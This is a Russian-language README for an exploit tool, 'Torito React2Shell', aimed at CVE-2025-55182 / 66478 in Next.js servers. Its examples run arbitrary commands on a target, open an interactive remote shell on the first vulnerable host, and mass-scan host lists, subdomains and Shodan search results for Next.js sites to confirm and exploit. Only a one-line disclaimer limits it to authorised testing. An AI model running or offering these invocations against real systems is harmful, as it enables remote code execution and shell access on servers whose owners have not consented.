Torito React2Shell Сканер и эксплойт-инструмент (CVE-2025-55182 / 66478)

Требования

• Python 3.9+
• pip install -r requirements.txt
• Бинарник Subfinder в PATH для --subfinder (установка через Homebrew brew install subfinder или Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; проект: https://github.com/projectdiscovery/subfinder)
• Использование Shodan требует pip install shodan (уже в requirements) и ключа: export SHODAN_API_KEY=... с доступными кредитами запросов

Использование

python3 torito_r2s.py --help

Флаги

Примеры

Безопасная проверка (одна цель)

python3 torito_r2s.py -u https://target.com

Подтверждение PoC (перенаправление по побочному каналу)

python3 torito_r2s.py -u https://target.com --confirm

Эксплойт с пользовательской командой

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Интерактивная оболочка при первом попадании

python3 torito_r2s.py -u https://target.com --shell

Сканирование списка с экспортом

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Только Shodan (требуется ключ и кредиты)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Только Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

Прокси (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Конвейер через stdin

cat urls.txt | python3 torito_r2s.py --confirm

Примечания к выводу

• Таблица показывает отпечаток (NX/AR), проверку, подтверждение, эксплойт.
• Дайджесты эксплойта декодируются из base64, когда это возможно; подробный режим показывает превью.
• JSON/CSV включают сырой дайджест и декодированный вывод (если есть).

Безопасность

• Только для авторизованного тестирования.
• Запуск по умолчанию — неразрушающая проверка; эксплойт выполняется только с --exploit-cmd или --shell.